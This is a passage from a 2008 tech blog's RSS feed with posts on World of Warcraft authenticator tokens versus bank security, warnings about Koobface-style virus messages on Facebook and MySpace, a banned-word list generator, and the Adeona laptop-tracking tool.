<p>Blizzard, creator of the immensely popular MMORPG game World of Warcraft, has come out with <a href="http://us.blizzard.com/support/article.xml?articleId=24660" target="_blank">authentication tokens</a> as an added layer of security for game account holders. For $6.50, <a href="http://www.blizzard.com/store/search.xml?q=Authenticator" target="_blank">you can order a key fob</a> that generates a random number when you press a button on the fob. Account holders who have tied their accounts to this authentication token will be required to enter that random number along with their standard username and password in order to login to the game.</p>
<p>The idea here is that even if someone else has obtained the player&#8217;s username and password, they will be unable to login unless they have the authentication key fob physically in their hand, since the number generated by the token expires after a certain time and is randomly generated each time the user pushes the button on the key fob itself.</p>
<p>I used to have one of these Citrix-based key fobs when I worked at a blood bank in California, and the token was required in order for me to access the internal network from a remote location. Understandable, since the blood bank network contains quite a lot of very personal information such as social security numbers and donor eligibility based on any diseases the donor might have.</p>
<p>Blizzard&#8217;s move certainly makes a degree of sense, considering some high-level, well geared WoW accounts can sell for $1000 or more, and an account of that stature has clearly taken months or years of the account holder&#8217;s life to attain. Paying $6.50 for an extra layer of protection on your time and money investment seems like a pretty good idea.</p>
<p>What is perhaps a little troubling, however, is that neither of the two banks I do business with offer this level of security to protect my actual bank accounts. My online banking systems, both of which are hooked into bill paying, online statements, full account histories, scanned check copies (through which my checking account number could easily be snagged), are merely a username and password away.</p>
<p>Would you pay seven bucks for an extra layer of security on your banking information? I know I would. So what are the banks waiting for? Why is my video game using a more secure <a href="http://en.wikipedia.org/wiki/Two_factor_authentication" target="_blank">two-factor authentication</a> system, but my banking institution is not?</p>
<p>And as a side note, as these types of systems become more commonly implemented (as they should be), is there a company out there that will find a way to tie multiple systems together, so I don&#8217;t have to walk around with 15 different key fobs?</p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2008/10/is-imappop3-gmail-or-gtalk-periodically-rejecting-your-password/' rel='bookmark' title='Permanent Link: Is IMAP/POP3 Gmail or Gtalk periodically rejecting your password?'>Is IMAP/POP3 Gmail or Gtalk periodically rejecting your password?</a> <small>I have run into this many times: my Gtalk password...</small></li>
<li><a href='http://www.snipe.net/2010/02/use-your-own-domain-for-openid-logins/' rel='bookmark' title='Permanent Link: Use Your Own Domain for OpenID Logins'>Use Your Own Domain for OpenID Logins</a> <small>I&#8217;m a big fan of OpenID, and the concept of...</small></li>
<li><a href='http://www.snipe.net/2007/06/gay-bar-warcraft/' rel='bookmark' title='Permanent Link: Gay Bar (Warcraft)'>Gay Bar (Warcraft)</a> <small>...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2008/12/warcraft-security-better-than-banking-security/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Facebook and MySpace Users, Beware!</title>
		<link>http://www.snipe.net/2008/11/facebook-and-myspace-users-beware-virus/</link>
		<comments>http://www.snipe.net/2008/11/facebook-and-myspace-users-beware-virus/#comments</comments>
		<pubDate>Fri, 07 Nov 2008 19:08:20 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Tips & Tricks]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[myspace]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[social networks]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=386</guid>
		<description><![CDATA[I have received two virus emails from two unrelated friends, indicating their accounts have been compromised. The messages are being sent through Facebook and both have had a spammy sounding subject line and a link to a geocities website. This was suspicious enough, but the fact that one message came from a friend I haven&#8217;t [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2008%2F11%2Ffacebook-and-myspace-users-beware-virus%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2008%2F11%2Ffacebook-and-myspace-users-beware-virus%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>I have received two virus emails from two unrelated friends, indicating their accounts have been compromised. The messages are being sent through Facebook and both have had a spammy sounding subject line and a link to a geocities website. This was suspicious enough, but the fact that one message came from a friend I haven&#8217;t spoken to much in a year made it even more so. <span id="more-386"></span></p>
<p>The first virus email subject was <strong>&#8220;RE: You were caught on our secret camera!&#8221;</strong> and the second was<strong> &#8220;RE: You have a great hair cut in this movie&#8221;</strong> . The geocities addresses they pointed to were for user&#8217;s reedgates21 and richiemack11.  I&#8217;ve googled both addresses and gotten no results, so my guess is that they are randomly generating geocities accounts and generating these emails. A co-worker just one too &#8211; variation on a theme. Subject is <strong>&#8220;Don&#8217;t cry! Your mom will never see this movie&#8221;</strong>, also pointing to geocities, user name rkssbcyzk. Another one, <strong>&#8220;I&#8217;m not kidding I just saw your pics all over  a site address swimcaw&#8221;</strong> has come through as a wall post.</p>
<h2>The links in the Facebook messages point to websites that contain viruses. Do NOT click on them.</h2>
<p>Below are some examples of what they look like. (These are just images, so you can click on them for larger versions to see how the messages come into your inbox.)</p>
<div id="attachment_389" class="wp-caption aligncenter" style="width: 510px"><a href="http://www.snipe.net/wp-content/uploads/2008/11/virus2.gif"><img class="size-full wp-image-389" title="Screenshot 1" src="http://www.snipe.net/wp-content/uploads/2008/11/virus2.gif" alt="" width="500" height="343" /></a><p class="wp-caption-text">Screenshot 1</p></div>
<div id="attachment_390" class="wp-caption aligncenter" style="width: 510px"><a href="http://www.snipe.net/wp-content/uploads/2008/11/virus1.gif"><img class="size-full wp-image-390" title="Screenshot 2" src="http://www.snipe.net/wp-content/uploads/2008/11/virus1.gif" alt="" width="500" height="343" /></a><p class="wp-caption-text">Screenshot 2</p></div>
<div id="attachment_391" class="wp-caption aligncenter" style="width: 510px"><a href="http://www.snipe.net/wp-content/uploads/2008/11/virus3.gif"><img class="size-full wp-image-391" title="Screenshot 3" src="http://www.snipe.net/wp-content/uploads/2008/11/virus3.gif" alt="Screenshot 2" width="500" height="343" /></a><p class="wp-caption-text">Screenshot 3</p></div>
<p>If you&#8217;re using Firefox, your browser should warn you that you&#8217;re about to try to access a page that has been linked to virus/malware when you click on the Facebook messages in question, but if you&#8217;re using an older version of IE (shame on you!), you may not get any warning at all.</p>
<h2>When You Receive a Virus Email</h2>
<ol>
<li>DO NOT CLICK ON THE LINK</li>
<li>Send an e-mail (or call) the sender, letting them know they are likely infected with a virus</li>
<li>Suggest to the friend that they change their password from another, uninfected computer, and follow the steps further down in this article to remove the virus. (The method they use will depend on which virus they&#8217;ve been infected with.)</li>
<li>Once the virus is cleared from the sender&#8217;s system, suggest they <a href="http://www.amictools.com/v-anti_keylogger_shield.html">install a free anti-keylogger program</a> and switching to <a href="http://www.mozilla.com/en-US/firefox/" target="_blank">Firefox</a> just to be safe</li>
</ol>
<p>Ultimately, its like anything else &#8211; common sense will go a long way. If the email seems odd (for example, the fact that the subjects sometimes start with &#8220;RE:&#8221;, as if they were replies to a message you sent, but you never sent a message with that subject), the phrasing seems off or not something your friend would actually say, something is probably awry. If you&#8217;re unsure, contact the friend directly and ask if they sent it to you.</p>
<p>This has been happening a lot lately, and the scenario Tech Crunch describes <a href="http://www.techcrunch.com/2008/08/07/elaborate-facebook-worm-virus-spreading/">in this article</a> sounds a lot like what&#8217;s happening here.</p>
<p>Keep in mind&#8230; Facebook applications do NOT have access to your password, so unless you installed an application that &#8220;required you&#8221; to download an executable application (any kind of .exe, .msi, etc), your Facebook applications should NOT be the cause. (Being an application developer, I can say that I couldn&#8217;t steal someone&#8217;s password even if I wanted to, using their API. HOWEVER there have been several reports of phony applications and groups that require some sort of download in order to get the full experience (<a href="http://www.theregister.co.uk/2008/01/04/facebook_adware/">Secret Crush</a> was one of them).</p>
<p><strong>NO application or group should EVER require you to download and install anything. If they do, report them to the social network immediately.</strong></p>
<p>Also keep in mind that <strong>these viruses are not limited to Facebook users</strong>. I&#8217;m more familiar with the Facebook scenario because I avoid MySpace like the plague, but every time I login there are spammy and/or virus-y emails awaiting me. This isn&#8217;t as much a flaw in the Facebook platform as a result of social networks still being young and going through some growing pains. MySpace has just as much of a problem with these issues, if not moreso, since they have been historically less concerned about user experience and safety.</p>
<h2>Another Variation &#8211; Fake YouTube Links</h2>
<p>Another variation of the viruses being sent around Facebook is a similar message to users suggesting they are appearing in a <strong>YouTube video</strong> and providing the supposed link to view it. Instead of actually seeing a video, the virus advises viewers they need to download an updated version of Flash, which if followed may install a virus into the user&#8217;s computer. <a href="http://www.sync-blog.com/sync/2008/08/breaking-news-f.html">More info on that version, including sample messages and screenshots, is available here</a>.</p>
<h2>Why Its Working</h2>
<p>If you find yourself infected, don&#8217;t be too hard on yourself. People have become so used to receiving emails from Facebook asking them to confirm this or that that it could be argued that people are more prone to click on a link that looks like it came from Facebook without being as diligent as we would be if we weren&#8217;t used to preforming this same action 10 times a day for legitimate Facebook actions. <span class="content">For example, most users of Facebook are familiar with the &#8220;Joe has added you as a friend on Facebook€¦&#8221; stock email.</span></p>
<p><span class="content">Some users are conditioned to follow this process whenever they receive an email of this sort. Some people can receive this email several times every day and perform this login procedure so often it becomes automatic. This simple, clean design is very easy for a phisher to mimic. Since users are conditioned to follow this process blindly, they might not notice that the email is spoofed or that the address bar is slightly incorrect. This makes Facebook users ideal targets for the type of generic phishing attacks that are usually directed at financial institutions.</span></p>
<h2>If You Clicked on the Link And Your Computer is Infected</h2>
<p>I spent some time trolling Facebook&#8217;s forums to see if anyone had any specific direction on how to remove this virus from an infected machine. I found a few possible solutions, although since the people posting didn&#8217;t know or didn&#8217;t mention the name of the specific virus they were infected with, it may take some trial and error to find the solution that works best for you.</p>
<p>If your virus detection software determines that you&#8217;re infected with <strong>Bolivar23.exe</strong>, you can <a href="http://www.d-a-l.com/help/spyware-adware-viruses-hijackthis-logs/57987-bolivar23-exe-problem.html">click here for directions on how to remove it</a>.</p>
<p>In early August, there was a different one going around, called Koobface. Kaspersky&#8217;s website writes:</p>
<div style="margin-left: 40px;">Net-Worm.Win32.Koobface.a spreads when a user accesses his/ her MySpace account. The worm creates a range of commentaries to friends&#8217; accounts. Net-Worm.Win32.Koobface.b, which targets Facebook users, creates spam messages and sends them to the infected users&#8217; friends via the Facebook site.  The messages and comments include texts such as:</div>
<div style="margin-left: 40px;">
<ul>
<li><em><strong>Paris Hilton Tosses Dwarf On The Street</strong></em></li>
<li><em><strong>Examiners Caught Downloading Grades From The Internet</strong></em></li>
<li><em><strong>Hello</strong></em></li>
<li><em><strong>You must see it!!! LOL. My friend catched you on hidden cam; </strong><br />
</em></li>
<li><em>I<strong>s it really celebrity? Funny Moments</strong></em><strong> and many others</strong>.</li>
<li><em><strong>Yoou&#8217;re so prettty goood on thiis viddeo.</strong></em></li>
</ul>
</div>
<div style="margin-left: 40px;">Messages and comments on MySpace and Facebook include links to <strong>youtube.[skip].pl</strong>.  If the user clicks on this link, s/he is redirected to a site which purportedly contains a video clip.  If the user tries to watch it, a message appears saying the user needs the latest version of Flash Player in order to watch the clip. However, instead of the latest version of Flash Player, <strong>a file called codesetup.exe is downloaded to the victim&#8217;s machine</strong>; this file is also a network worm. The result is that users who have come to the site via Facebook will have the MySpace worm downloaded to their machines, and vice versa. [<a href="http://usa.kaspersky.com/about-us/news-press-releases.php?smnr_id=900000149">more</a>]</div>
<p>One confirmed method of removing this virus is by downloading <a href="http://www.malwarebytes.org/">MalwareBytes</a> &#8211; for some at the time, it seemed to be the only out of the box software that was able to remove it.</p>
<p>Still another that was around this time, <strong>Troj/Dloadr-BPL Trojan horse</strong>, was reported on by Sophos:</p>
<p style="padding-left: 60px;">Messages left on Facebook users&#8217; walls are urging members to view a video (which pretends to be hosted on a Google website), but clicking on the link and visiting the webpage takes users to a site which urges them to download an executable to watch the movie.</p>
<p style="padding-left: 60px;">Sophos detects the executable file as the Troj/Dloadr-BPL Trojan horse, which in turn downloads further malicious code (detected as Troj/Agent-HJX), and displays an innocent image of a court jester sticking his tongue out. [<a href="http://www.sophos.com/pressoffice/news/articles/2008/08/facebook.html">more</a>]</p>
<h2>In Conclusion</h2>
<p>This isn&#8217;t the first wave of social network viruses, nor will it be the last. There isn&#8217;t one social network that is more prone to them than others. As we allow social networks to become a bigger part of how we communicate, we must simply remain cautious and avoid the temptation to become complacent. Pay attention to the links you click on that are sent through Facebook, the same way you pay attention to suspicious e-mails that come in through normal e-mail.</p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2009/05/new-facebook-phishing-attempts/' rel='bookmark' title='Permanent Link: New Facebook Phishing Attempts'>New Facebook Phishing Attempts</a> <small>Looks like a new round of phishing attacks are well...</small></li>
<li><a href='http://www.snipe.net/2009/02/advertising-on-facebook-part-one/' rel='bookmark' title='Permanent Link: Advertising on Facebook &#8211; Part One'>Advertising on Facebook &#8211; Part One</a> <small>I have a Facebook application that seems to be doing...</small></li>
<li><a href='http://www.snipe.net/2009/02/advertising-on-facebook-part-three/' rel='bookmark' title='Permanent Link: Advertising on Facebook &#8211; Part Three'>Advertising on Facebook &#8211; Part Three</a> <small>Part three of this series will deal specifically with an...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2008/11/facebook-and-myspace-users-beware-virus/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Generate lists of banned words for forums and other applications</title>
		<link>http://www.snipe.net/2008/07/generate-lists-of-banned-words-for-forums-and-other-applications/</link>
		<comments>http://www.snipe.net/2008/07/generate-lists-of-banned-words-for-forums-and-other-applications/#comments</comments>
		<pubDate>Wed, 23 Jul 2008 04:35:28 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[web dev]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=182</guid>
		<description><![CDATA[If you develop software for a living, or if you moderate any online forums, you may have found yourself in the situation where you need a list of banned or blocked words. The problem is, what works for one application doesn&#8217;t work for another. A forums targeted at adults can probably have a little more [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2008%2F07%2Fgenerate-lists-of-banned-words-for-forums-and-other-applications%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2008%2F07%2Fgenerate-lists-of-banned-words-for-forums-and-other-applications%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>If you develop software for a living, or if you moderate any online forums, you may have found yourself in the situation where you need a list of banned or blocked words. The problem is, what works for one application doesn&#8217;t work for another. A forums targeted at adults can probably have a little more latitude than a game designed for children.</p>
<p>Rather than maintaining multiple lists for multiple audiences, check out <a href="http://www.banbuilder.com" target="_blank">BanBuilder.Com</a>, a website that lets you generate a list of banned words based on rating (PG, PG-13, R), location (US swear words versus UK, etc) and export them into various formats including csv, text, sql insert statements and more. The service is free and there&#8217;s nothing to sign up for. Just use it when you need it.</p>
<p>Note: the export function isn&#8217;t working just yet &#8211; but you can help the project by adding your own swear words to the database. Check back in a day or two for the export feature.</p>
<p>And if you have suggestions, post them here, since this is my own little pet project!</p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2008/07/identify-and-fix-sql-injection-vulnerabilities-in-web-applications/' rel='bookmark' title='Permanent Link: Identify and Fix SQL Injection Vulnerabilities in Web Applications'>Identify and Fix SQL Injection Vulnerabilities in Web Applications</a> <small>Scrawlr is a free software for scanning SQL injection vulnerabilities...</small></li>
<li><a href='http://www.snipe.net/2002/06/truncate-text-to-x-number-of-words/' rel='bookmark' title='Permanent Link: Truncate text to x number of words'>Truncate text to x number of words</a> <small>This code will truncate given text to a certain length,...</small></li>
<li><a href='http://www.snipe.net/2009/01/advertising-on-facebook-applications-an-experiment/' rel='bookmark' title='Permanent Link: Advertising on Facebook Applications &#8211; An Experiment'>Advertising on Facebook Applications &#8211; An Experiment</a> <small>This article has been deprecated, and has been replaced by...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2008/07/generate-lists-of-banned-words-for-forums-and-other-applications/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Track Your Stolen Laptop (for Free) with Adeona</title>
		<link>http://www.snipe.net/2008/07/track-your-stolen-laptop-for-free-with-adeona/</link>
		<comments>http://www.snipe.net/2008/07/track-your-stolen-laptop-for-free-with-adeona/#comments</comments>
		<pubDate>Mon, 14 Jul 2008 18:22:11 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Life Tools]]></category>
		<category><![CDATA[crime]]></category>
		<category><![CDATA[download]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[laptop]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[theft]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=177</guid>
		<description><![CDATA[Adeona is the first Open Source system for tracking the location of your lost or stolen laptop that does not rely on a proprietary, central service. This means that you can install Adeona on your laptop and go â€” there&#8217;s no need to rely on a single third party. What&#8217;s more, Adeona addresses a critical [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2008%2F07%2Ftrack-your-stolen-laptop-for-free-with-adeona%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2008%2F07%2Ftrack-your-stolen-laptop-for-free-with-adeona%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>Adeona is the first Open Source system for tracking the location of your lost          or stolen laptop that does not rely on a proprietary, central service.           This means that you can install Adeona on your laptop and go â€” there&#8217;s no          need to rely on a single third party.         What&#8217;s more, Adeona addresses a critical privacy goal different from existing          commercial offerings.  It is <em>privacy-preserving</em>.          This means that <strong>no one besides the owner</strong> (or an agent of the owner&#8217;s choosing)          <strong>can use Adeona to track a laptop</strong>. Unlike other systems, users of Adeona          can rest assured that no one can abuse the system in order to track where          they use their laptop.<span id="more-177"></span></p>
<p>From the Adeona website:</p>
<blockquote><p>Adeona is named after the Roman goddess of safe returns.         This system is the result of recent academic research started at 	the University of Washington, with participants now also 	at the University of California San Diego and the University of  	California Davis. 	The foundations of the Adeona design â€” and an analysis of 	its security and privacy properties â€” are published in  	a <a href="http://adeona.cs.washington.edu/documents.html#papers">research paper</a> at the <a href="http://www.usenix.org/events/sec08/index.html">2008 USENIX Security Symposium</a>.</p></blockquote>
<p>Best of all, Adeona is free, and has <a href="http://adeona.cs.washington.edu/downloads.html" target="_blank">downloads available for Windows, Mac and Linux</a>. As an added bonus, Mac Powerbook users can configure Adeona to work with the built-in iSight camera and freeware software <a href="http://www.intergalactic.de/pages/iSight.html" target="_blank">isightcapture</a> to take a photo of your laptop-mooking perp. Like your location information, these images are privacy-protected so             that only the laptop owner (or an agent of the owner&#8217;s choosing) can             access them.</p>
<p>Learn more at the <a href="http://adeona.cs.washington.edu/" target="_blank">Adeona website</a>, or <a href="http://adeona.cs.washington.edu/downloads.html" target="_blank">get started with Adeona now</a>!</p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2009/02/laptop-bags-for-17-inch-macbook-pro/' rel='bookmark' title='Permanent Link: Laptop Bags for 17-inch Macbook Pro'>Laptop Bags for 17-inch Macbook Pro</a> <small>I have an addiction to laptop bags. I&#8217;m not sure...</small></li>
<li><a href='http://www.snipe.net/2009/01/cheap-or-free-website-status-monitoring/' rel='bookmark' title='Permanent Link: Cheap or Free Website Status Monitoring'>Cheap or Free Website Status Monitoring</a> <small>Its a call you never, ever want to get. &#8220;My...</small></li>
<li><a href='http://www.snipe.net/2009/01/learn-new-languages-online-for-free/' rel='bookmark' title='Permanent Link: Learn New Languages Online For Free with LiveMocha'>Learn New Languages Online For Free with LiveMocha</a> <small>Learning a new language becomes increasingly harder, the older we...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2008/07/track-your-stolen-laptop-for-free-with-adeona/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
	</channel>
</rss>
